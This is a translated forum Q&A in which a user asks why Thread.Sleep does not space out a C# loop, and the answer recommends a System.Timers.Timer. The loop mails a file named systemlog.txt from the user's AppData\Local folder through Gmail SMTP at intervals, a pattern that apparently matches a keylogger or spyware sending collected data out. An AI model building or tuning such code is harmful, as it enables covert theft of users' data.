Пока (верно) Thread.Sleep (); не работает, как спать? - PullRequest
0 голосов
/ 22 апреля 2020
            while (true)
            {
                Thread.Sleep(1);
                MailMessage mail = new MailMessage();
                SmtpClient SmtpServer = new SmtpClient("smtp.gmail.com");

                mail.From = new MailAddress("");
                mail.To.Add("");
                mail.Subject = "Test Mail";
                mail.Attachments.Add(new Attachment(@"C:\Users\" + Environment.UserName + @"\AppData\Local\systemlog.txt"));
                mail.Body = "This is for testing SMTP mail from GMAIL";


                SmtpServer.Port = 587;
                SmtpServer.Credentials = new System.Net.NetworkCredential("", "");
                SmtpServer.EnableSsl = true;
                SmtpServer.Send(mail);



                Application.DoEvents();


            }

Эй, я хочу, чтобы электронное письмо отправлялось каждые 10 минут или 1 минуту, но Thread.Sleep (1); не работает, мне нужна помощь, пожалуйста, спасибо (;

1 Ответ

0 голосов
/ 22 апреля 2020

Ваша (основная) ошибка: Thread.Sleep (Int32) ожидает значение в миллисекундах!

Имеет перегрузку , которая принимает TimeSpan , который я настоятельно рекомендую использовать из-за его читабельности.

Но для вашей Задачи под рукой, ...

Я предлагаю вам попробовать его с Timer :

class MailTimer
{
     private System.Timers.Timer _Timer = null;

     public void StartTimer( TimeSpan period ) // Pass your period as TimeSpan
                                               // e.g. TimeSpan.FromMinutes(10)
     {
          if( _Timer != null ) throw new InvalidOperationException("Mail Timer already started!");
          _Timer = new System.Timers.Timer(period.TotalMilliseconds);
          _Timer.Elapsed += OnTimedEvent;
          _Timer.AutoReset = true;
          _Timer.Enabled = true;
     }

     public void StopMailing()
     {
         if( _Timer == null ) return;
         _Timer.Stop();
         _Timer.Dispose();
         _Timer = null;
     }

     private static void OnTimedEvent(Object source, ElapsedEventArgs e)
     {
         TrySendMail(); // Do your Mail-Magic
     }
}

Mind: это далеко не потокобезопасно. Пожалуйста, также не просто копируйте и вставляйте. Вам потребуется внести коррективы и принять меры предосторожности в соответствии с вашими требованиями.

...